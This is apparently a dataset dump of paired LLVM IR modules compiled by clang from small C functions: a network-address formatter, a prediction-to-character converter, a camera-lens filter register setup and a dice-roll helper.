target triple = "x86_64-pc-linux-gnu"
@INET6_ADDRSTRLEN = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @anetFormatFdAddr(i32 noundef %0, ptr noundef %1, i64 noundef %2, i32 noundef %3) #0 {
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca i32, align 4
store i32 %0, ptr %5, align 4
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%12 = load i32, ptr @INET6_ADDRSTRLEN, align 4
%13 = zext i32 %12 to i64
%14 = call ptr @llvm.stacksave()
store ptr %14, ptr %9, align 8
%15 = alloca i8, i64 %13, align 16
store i64 %13, ptr %10, align 8
%16 = load i32, ptr %5, align 4
%17 = trunc i64 %13 to i32
%18 = load i32, ptr %8, align 4
%19 = call i32 @anetFdToString(i32 noundef %16, ptr noundef %15, i32 noundef %17, ptr noundef %11, i32 noundef %18)
%20 = load ptr, ptr %6, align 8
%21 = load i64, ptr %7, align 8
%22 = load i32, ptr %11, align 4
%23 = call i32 @anetFormatAddr(ptr noundef %20, i64 noundef %21, ptr noundef %15, i32 noundef %22)
%24 = load ptr, ptr %9, align 8
call void @llvm.stackrestore(ptr %24)
ret i32 %23
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @anetFdToString(i32 noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @anetFormatAddr(ptr noundef, i64 noundef, ptr noundef, i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmps4zfjnt4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@INET6_ADDRSTRLEN = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @anetFormatFdAddr(i32 noundef %0, ptr noundef %1, i64 noundef %2, i32 noundef %3) #0 {
%5 = alloca i32, align 4
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca i64, align 8
%11 = alloca i32, align 4
store i32 %0, ptr %5, align 4
store ptr %1, ptr %6, align 8
store i64 %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%12 = load i32, ptr @INET6_ADDRSTRLEN, align 4
%13 = zext i32 %12 to i64
%14 = call ptr @llvm.stacksave()
store ptr %14, ptr %9, align 8
%15 = alloca i8, i64 %13, align 16
store i64 %13, ptr %10, align 8
%16 = load i32, ptr %5, align 4
%17 = trunc i64 %13 to i32
%18 = load i32, ptr %8, align 4
%19 = call i32 @anetFdToString(i32 noundef %16, ptr noundef %15, i32 noundef %17, ptr noundef %11, i32 noundef %18)
%20 = load ptr, ptr %6, align 8
%21 = load i64, ptr %7, align 8
%22 = load i32, ptr %11, align 4
%23 = call i32 @anetFormatAddr(ptr noundef %20, i64 noundef %21, ptr noundef %15, i32 noundef %22)
%24 = load ptr, ptr %9, align 8
call void @llvm.stackrestore(ptr %24)
ret i32 %23
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @anetFdToString(i32 noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef) #2
declare i32 @anetFormatAddr(ptr noundef, i64 noundef, ptr noundef, i32 noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpfwxkps9s.c'
source_filename = "/tmp/tmpfwxkps9s.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @prediction_to_char(double noundef %0) #0 {
%2 = alloca i8, align 1
%3 = alloca double, align 8
store double %0, ptr %3, align 8
%4 = load double, ptr %3, align 8
%5 = call i64 @isnan(double noundef %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %8
7: ; preds = %1
store i8 33, ptr %2, align 1
br label %15
8: ; preds = %1
%9 = load double, ptr %3, align 8
%10 = fmul double %9, 1.000000e+01
%11 = call i64 @floor(double noundef %10)
%12 = trunc i64 %11 to i32
%13 = add nsw i32 %12, 48
%14 = trunc i32 %13 to i8
store i8 %14, ptr %2, align 1
br label %15
15: ; preds = %8, %7
%16 = load i8, ptr %2, align 1
ret i8 %16
}
declare i64 @isnan(double noundef) #1
declare i64 @floor(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpfwxkps9s.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @prediction_to_char(double noundef %0) #0 {
%2 = alloca i8, align 1
%3 = alloca double, align 8
store double %0, ptr %3, align 8
%4 = load double, ptr %3, align 8
%5 = call i64 @isnan(double noundef %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %8
7: ; preds = %1
store i8 33, ptr %2, align 1
br label %15
8: ; preds = %1
%9 = load double, ptr %3, align 8
%10 = fmul double %9, 1.000000e+01
%11 = call i64 @floor(double noundef %10)
%12 = trunc i64 %11 to i32
%13 = add nsw i32 %12, 48
%14 = trunc i32 %13 to i8
store i8 %14, ptr %2, align 1
br label %15
15: ; preds = %8, %7
%16 = load i8, ptr %2, align 1
ret i8 %16
}
declare i64 @isnan(double noundef) #1
declare i64 @floor(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmu184aq4.c'
source_filename = "/tmp/tmpmu184aq4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @MesFil_lc898122(i8 noundef zeroext %0) #0 {
%2 = alloca i8, align 1
store i8 %0, ptr %2, align 1
%3 = load i8, ptr %2, align 1
%4 = icmp ne i8 %3, 0
br i1 %4, label %26, label %5
5: ; preds = %1
%6 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1017214400)
%7 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1017214400)
%8 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1064691904)
%9 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%10 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%11 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065353216)
%12 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 0)
%13 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 0)
%14 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%15 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%16 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1017214400)
%17 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1017214400)
%18 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1064691904)
%19 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%20 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%21 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065353216)
%22 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 0)
%23 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 0)
%24 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%25 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %104
26: ; preds = %1
%27 = load i8, ptr %2, align 1
%28 = zext i8 %27 to i32
%29 = icmp eq i32 %28, 1
br i1 %29, label %30, label %51
30: ; preds = %26
%31 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1039274112)
%32 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1039274112)
%33 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1061387200)
%34 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%35 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%36 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065286016)
%37 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef -1082197632)
%38 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 1065218816)
%39 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%40 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%41 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1039274112)
%42 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1039274112)
%43 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1061387200)
%44 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%45 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%46 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065286016)
%47 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef -1082197632)
%48 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 1065218816)
%49 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%50 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %103
51: ; preds = %26
%52 = load i8, ptr %2, align 1
%53 = zext i8 %52 to i32
%54 = icmp eq i32 %53, 2
br i1 %54, label %55, label %76
55: ; preds = %51
%56 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1065353216)
%57 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 0)
%58 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 0)
%59 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%60 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%61 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065353216)
%62 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 0)
%63 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 0)
%64 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%65 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%66 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1065353216)
%67 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 0)
%68 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 0)
%69 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%70 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%71 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065353216)
%72 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 0)
%73 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 0)
%74 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%75 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %102
76: ; preds = %51
%77 = load i8, ptr %2, align 1
%78 = zext i8 %77 to i32
%79 = icmp eq i32 %78, 3
br i1 %79, label %80, label %101
80: ; preds = %76
%81 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1017214400)
%82 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1017214400)
%83 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1064691904)
%84 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%85 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%86 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1017214400)
%87 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 1017214400)
%88 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 1064691904)
%89 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%90 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%91 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1017214400)
%92 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1017214400)
%93 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1064691904)
%94 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%95 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%96 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1017214400)
%97 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 1017214400)
%98 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 1064691904)
%99 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%100 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %101
101: ; preds = %80, %76
br label %102
102: ; preds = %101, %55
br label %103
103: ; preds = %102, %30
br label %104
104: ; preds = %103, %5
ret void
}
declare i32 @RamWrite32A_lc898122(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmu184aq4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @MesFil_lc898122(i8 noundef zeroext %0) #0 {
%2 = alloca i8, align 1
store i8 %0, ptr %2, align 1
%3 = load i8, ptr %2, align 1
%4 = icmp ne i8 %3, 0
br i1 %4, label %26, label %5
5: ; preds = %1
%6 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1017214400)
%7 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1017214400)
%8 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1064691904)
%9 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%10 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%11 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065353216)
%12 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 0)
%13 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 0)
%14 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%15 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%16 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1017214400)
%17 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1017214400)
%18 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1064691904)
%19 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%20 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%21 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065353216)
%22 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 0)
%23 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 0)
%24 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%25 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %104
26: ; preds = %1
%27 = load i8, ptr %2, align 1
%28 = zext i8 %27 to i32
%29 = icmp eq i32 %28, 1
br i1 %29, label %30, label %51
30: ; preds = %26
%31 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1039274112)
%32 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1039274112)
%33 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1061387200)
%34 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%35 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%36 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065286016)
%37 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef -1082197632)
%38 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 1065218816)
%39 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%40 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%41 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1039274112)
%42 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1039274112)
%43 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1061387200)
%44 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%45 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%46 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065286016)
%47 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef -1082197632)
%48 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 1065218816)
%49 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%50 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %103
51: ; preds = %26
%52 = load i8, ptr %2, align 1
%53 = zext i8 %52 to i32
%54 = icmp eq i32 %53, 2
br i1 %54, label %55, label %76
55: ; preds = %51
%56 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1065353216)
%57 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 0)
%58 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 0)
%59 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%60 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%61 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1065353216)
%62 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 0)
%63 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 0)
%64 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%65 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%66 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1065353216)
%67 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 0)
%68 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 0)
%69 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%70 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%71 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1065353216)
%72 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 0)
%73 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 0)
%74 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%75 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %102
76: ; preds = %51
%77 = load i8, ptr %2, align 1
%78 = zext i8 %77 to i32
%79 = icmp eq i32 %78, 3
br i1 %79, label %80, label %101
80: ; preds = %76
%81 = call i32 @RamWrite32A_lc898122(i32 noundef 4336, i32 noundef 1017214400)
%82 = call i32 @RamWrite32A_lc898122(i32 noundef 4337, i32 noundef 1017214400)
%83 = call i32 @RamWrite32A_lc898122(i32 noundef 4338, i32 noundef 1064691904)
%84 = call i32 @RamWrite32A_lc898122(i32 noundef 4339, i32 noundef 0)
%85 = call i32 @RamWrite32A_lc898122(i32 noundef 4340, i32 noundef 0)
%86 = call i32 @RamWrite32A_lc898122(i32 noundef 4341, i32 noundef 1017214400)
%87 = call i32 @RamWrite32A_lc898122(i32 noundef 4342, i32 noundef 1017214400)
%88 = call i32 @RamWrite32A_lc898122(i32 noundef 4343, i32 noundef 1064691904)
%89 = call i32 @RamWrite32A_lc898122(i32 noundef 4344, i32 noundef 0)
%90 = call i32 @RamWrite32A_lc898122(i32 noundef 4345, i32 noundef 0)
%91 = call i32 @RamWrite32A_lc898122(i32 noundef 4592, i32 noundef 1017214400)
%92 = call i32 @RamWrite32A_lc898122(i32 noundef 4593, i32 noundef 1017214400)
%93 = call i32 @RamWrite32A_lc898122(i32 noundef 4594, i32 noundef 1064691904)
%94 = call i32 @RamWrite32A_lc898122(i32 noundef 4595, i32 noundef 0)
%95 = call i32 @RamWrite32A_lc898122(i32 noundef 4596, i32 noundef 0)
%96 = call i32 @RamWrite32A_lc898122(i32 noundef 4597, i32 noundef 1017214400)
%97 = call i32 @RamWrite32A_lc898122(i32 noundef 4598, i32 noundef 1017214400)
%98 = call i32 @RamWrite32A_lc898122(i32 noundef 4599, i32 noundef 1064691904)
%99 = call i32 @RamWrite32A_lc898122(i32 noundef 4600, i32 noundef 0)
%100 = call i32 @RamWrite32A_lc898122(i32 noundef 4601, i32 noundef 0)
br label %101
101: ; preds = %80, %76
br label %102
102: ; preds = %101, %55
br label %103
103: ; preds = %102, %30
br label %104
104: ; preds = %103, %5
ret void
}
declare i32 @RamWrite32A_lc898122(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpr892szf8.c'
source_filename = "/tmp/tmpr892szf8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @d10() #0 {
%1 = call i32 @tirar(i32 noundef 10)
ret i32 %1
}
declare i32 @tirar(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpr892szf8.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @d10() #0 {
%1 = call i32 @tirar(i32 noundef 10)
ret i32 %1
}
declare i32 @tirar(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
